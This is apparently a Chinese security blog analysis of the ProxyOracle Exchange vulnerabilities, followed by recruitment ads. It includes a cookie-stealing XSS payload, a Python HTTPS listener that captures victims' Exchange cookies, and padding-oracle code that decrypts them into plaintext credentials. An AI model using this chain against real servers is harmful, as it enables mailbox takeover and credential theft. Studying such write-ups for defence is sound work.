ProxyOracle漏洞分析
2023-3-17 01:4:6 Author: 白帽子(查看原文) 阅读量:34 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

星火实验室 专注于实战攻防与研究,研究涉及实战攻防、威胁情报、攻击模拟与威胁分析等,团队成员均来自行业具备多年实战攻防经验的红队、蓝队和紫队专家。本着以攻促防的核心理念,通过落地ATT&CK攻防全景知识库,全面构建实战化、常态化、体系化的企业安全建设与运营。

NO.1 前言

2021年8月份,oracle又公开了代理漏洞ProxyOracle、ProxyShell。本文则分析ProxyOracle具体的一些攻击细节。

NO.2 漏洞分析

ProxyOracle包含两个漏洞:

· CVE-2021-31195 - 反射型XSS

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195

· CVE-2021-31196 - 对Exchange Cookie的Padding Oracle 攻击

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196

漏洞利用链:攻击者构造恶意链接发送邮件给受害者并引诱受害者点击,受害者点击恶意链接后触发XSS漏洞将用户的Cookie发送至攻击者指定的地址,攻击者获取到Cookie后使用Padding Oracle攻击获取受害者的明文账号密码。

获取Exchange Cookie

通过ProxyLogon的学习可以知道,X-BEResource存在SSRF漏洞,但是在利用的时候存在一个缺陷,就是只能够访问FQDN地址,对于IP地址则请求无效。

但还有一个存在SSRF的字段。X-AnonResource-Backend; X-AnonResource可以请求任意地址,但只能够请求HTTPS请求。

在看orange演示视频时,他使用的监听端口是HTTP 8080,难道还有另一个SSRF?

Padding Oracle攻击

根据加解密时是否用同一组密钥,可以分为对称加密和非对称加密。对称加密中又存在流加密与分组加密两种加密方法。

常见的对称加密算法:DES,AES等,最常用的非对称加密算法:RSA。

对称加密中,常见的分组加密有六种工作模式(ECB、CBC、PCBC、CFB、OFB、CTR)。

在密码学中,分组加密(英语:Block cipher),又称分块加密或块密码,是一种对称密钥算法对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密。

加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(每个数据块为8字节长)。

每个字符串都会进行填充,至少一个,最多8个。

· 一个0x01(0x01)

· 两个0x02(0x02,0x02)

· 三个0x03(0x03,0x03,0x03)

· 四个0x04(0x04,0x04,0x04,0x04)

· ......

在分组加密中,CBC模式是密码分组链接模式。它的加解密工作流程如下:

· IV为一串与分块大小相同的随机值。除了第一块是随机生成的,后面的每一块IV都是前一块的密文

· Key为对称加密密钥

那么它的加密流程为:明文首先与IV进行异或,异或结果我们称之为中间值,中间值再与Key进行对称加密,这个结果就是密文,也是下一块的IV。

解密流程:密文与Key密钥进行解密得到中间值,中间值与IV进行异或便得到明文。

了解数据填充后,再说一下填充攻击。Padding Oracle需要两个必要条件:

· 密文的解密成功和失败,会出现不一样的响应结果

· 使用了CBC模式的加密模式

Padding Oracle攻击原理其实与暴力破解类似。在暴力破解中,我们可以通过"密码不正确"、"该用户没有访问权限"来判断暴力破解是否成功。

正常的程序流程应该为:程序将解密好的数据给后续的业务代码进行分析,判断该数据是否符合业务要求,比如说验证Cookie是否正确或者验证账号密码是否正确。这里其实有两个判断,第一个为判断解密是否成功,第二个是解密后的数据是否符合要求。在Padding Oracle中我们不需要考虑解密后的数据是否符合要求,我们只需要利用解密是否成功的不同返回来判断填充是否正确。

那么我们可以得到以下结论:

· 填充正确,解密正确,业务代码通过,返回200

· 填充不正确,解密不正确,业务代码不通过,返回500

· 填充正确,解密正确,业务代码不通过,返回200或300或其他与填充正确不一样的数据

Padding Oracle攻击通过填充是否正确的返回值判断是否解密成功,最终还原出明文。更详细的攻击就不过多说明。

反射型XSS攻击

https://exchange/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//

根据orange所说的,使用ProxyLogon并添加我们恶意服务器的地址,Exchange就会成为我们的代理并发送受保护的 HttpOnly cookie。

https://Exchange/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`[email protected]:443/2.php~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//

NO.3 漏洞利用

Padding Oracle已经有成熟的攻击脚本了,我们只需要处理判断填充是否成功。由于SSRF只能发起HTTPS请求,所以需要器HTTPS服务进行监听。

开启HTTPS需要证书:

openssl x509 -req -days 1024 -in server.csr -signkey server.key -out server.crtopenssl req -newkey rsa:2048 -passout pass:123456 -keyout ca_rsa_private.pem -x509 -days 365 -out ca.crt -subj "/C=CN/ST=GD/L=SZ/O=COM/OU=NSP/CN=CA/[email protected]"openssl req -newkey rsa:2048 -passout pass:server -keyout server_rsa_private.pem  -out server.csr -subj "/C=CN/ST=GD/L=SZ/O=COM/OU=NSP/CN=SERVER/[email protected]"openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca_rsa_private.pem -passin pass:123456 -CAcreateserial -out server.crtopenssl rsa -in server_rsa_private.pem -out server_rsa_private.pem.unsecure

漏洞流程大致为:攻击者发送构造好的钓鱼邮件-->受害者点击钓鱼邮件-->触发XSS漏洞并添加Cookie跳转至攻击者监听的地址-->攻击者收到Exchange Cookies-->进行Padding Oracle攻击-->得到受害者明文

首先处理监听,接收HTTPS消息:

obsoleteSSL_context = requests.packages.urllib3.util.ssl_.create_urllib3_context(ciphers=ciphers)obsoleteSSL_context.check_hostname=FalseobsoleteSSL_context.verify_mode=ssl.CERT_NONE
class ObsoleteHTTPSAdapter(HTTPAdapter):    def init_poolmanager(self, connections, maxsize, block, **pool_kwargs):        pool_kwargs['ssl_context'] = obsoleteSSL_context        return super().init_poolmanager(connections, maxsize, block=block, **pool_kwargs)
class HttpServer():    def __init__(self):        self.context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)        # 加载服务器所用证书和私钥        self.context.load_cert_chain('server.crt', 'server_rsa_private.pem.unsecure')
       # 监听端口        print('Start monitoring 0.0.0.0:443......')        with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as self.sock:            self.sock.bind(('0.0.0.0', 443))            self.sock.listen(5)            # 将socket打包成SSL socket,其主要工作是完成密钥协商            self.ssock = self.context.wrap_socket(self.sock, server_side=True)    def start(self):        while True:            conn, addr = self.ssock.accept()            try:                msg = conn.recv(1024*8)                self.cookie = self.get_cookie(msg)                return self.cookie                conn.close()            except Exception as e:                conn.close()                print(e)    def get_cookie(self, msg):        msg = msg.decode()        msg_list = msg.split('\r\n')        cookie_list = []        for msg in msg_list:            if msg.startswith("Cookie:"):                cookies = msg[len("Cookie:"):]                cookie = cookies.split(';')        return cookie

成功登陆邮箱后,将cadata、cadataTTL、cadataKey、cadataIV、cadataSig添加为cookie后发送到上面监听的地址,接收到消息后传入开源PaddingOracle爆破脚本解密:

# Exploit Code
class ProxyOracle(PaddingOracle):    def __init__(self, **kwargs):        super(ProxyOracle, self).__init__(**kwargs)        self.session = requests.Session()        if isObsoleteSSL:            self.session.mount(exchange_host, ObsoleteHTTPSAdapter())        if useProxy:            self.session.proxies = request_proxies        self.cipherText = original_cookie
   def test_validity(self, resp):        if resp.status_code == 302:            reason_data = resp.headers['Location']            respurl = urlparse(reason_data)            if respurl.path == "/owa/auth/logon.aspx":                respqs = parse_qs(respurl.query)                try:                    status = int(respqs['reason'][0])                    #print(status)                    if status == 2:                        #print("fail")                        return 2  # Credential Error, Invalid Account Password                    if status == 0:                        return 1  # Padding Oracle, Padding Not Correct                except KeyError:                    return 3  # Unknown Error, cannot determine success or not.            else:                return 0  # No Problem, Successfully logged in.        else:            return 3  # Unknown Error, cannot determine success or not.
   def oracle(self, data, **kwargs):        # post-processing        payload_data = base64.b64encode(data)        # set correct cookie        request_cookies['cadata'] = payload_data.decode()        # asking for web        resp = self.session.get(exchange_host + exchange_path, verify=False, allow_redirects=False, headers=request_headers, cookies=request_cookies)        # check if plaintext is recovered        chkstatus = self.test_validity(resp)        if chkstatus == 2:            #logging.info("[Triggered - Byte Found] Credential Error, Invalid Account Password")            return        elif chkstatus == 1:            raise BadPaddingException        elif chkstatus == 0:            self.history.append(data)            #logging.info("[Triggered - Byte Found] Padding Oracle Found: {} ", data)            return        else:            #logging.error("Unknown Error, cannot determine success or not.")            sys.exit(1)

NO.4 缓解措施

1.更新最新补丁
2.不轻易点击未知文件或链接

NO.5 参考

https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html

https://hosch3n.github.io/2021/08/23/ProxyOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://hosch3n.github.io/2021/08/10/PaddingOracle%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86/

https://github.com/mpgn/Padding-oracle-attack

https://www.mi1k7ea.com/2020/09/17/%E6%B5%85%E6%9E%90CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB%E4%B8%8EPadding-Oracle-Attack/#%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86

https://github.com/mwielgoszewski/python-paddingoracle

http://blog.topsec.com.cn/padding-oracle%E5%8E%9F%E7%90%86%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90/

http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html

征稿通知

知识应该被分享,安全更需携手共进

征稿持续进行中!愿意分享知识经验的小伙伴们可以把自己的知识沉淀稿件投稿至微信:CaoMeimmn

稿件一经发布将有丰厚的稿费!

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246577&idx=1&sn=33f2f27a07e45276d51c8a92fae25f26&chksm=82ea5618b59ddf0e1a8755c4d6a3d3ee1b158dcd4bb120df9c6f8ecd4c0631c1a71f69c3512e#rd
如有侵权请联系:admin#unsafe.sh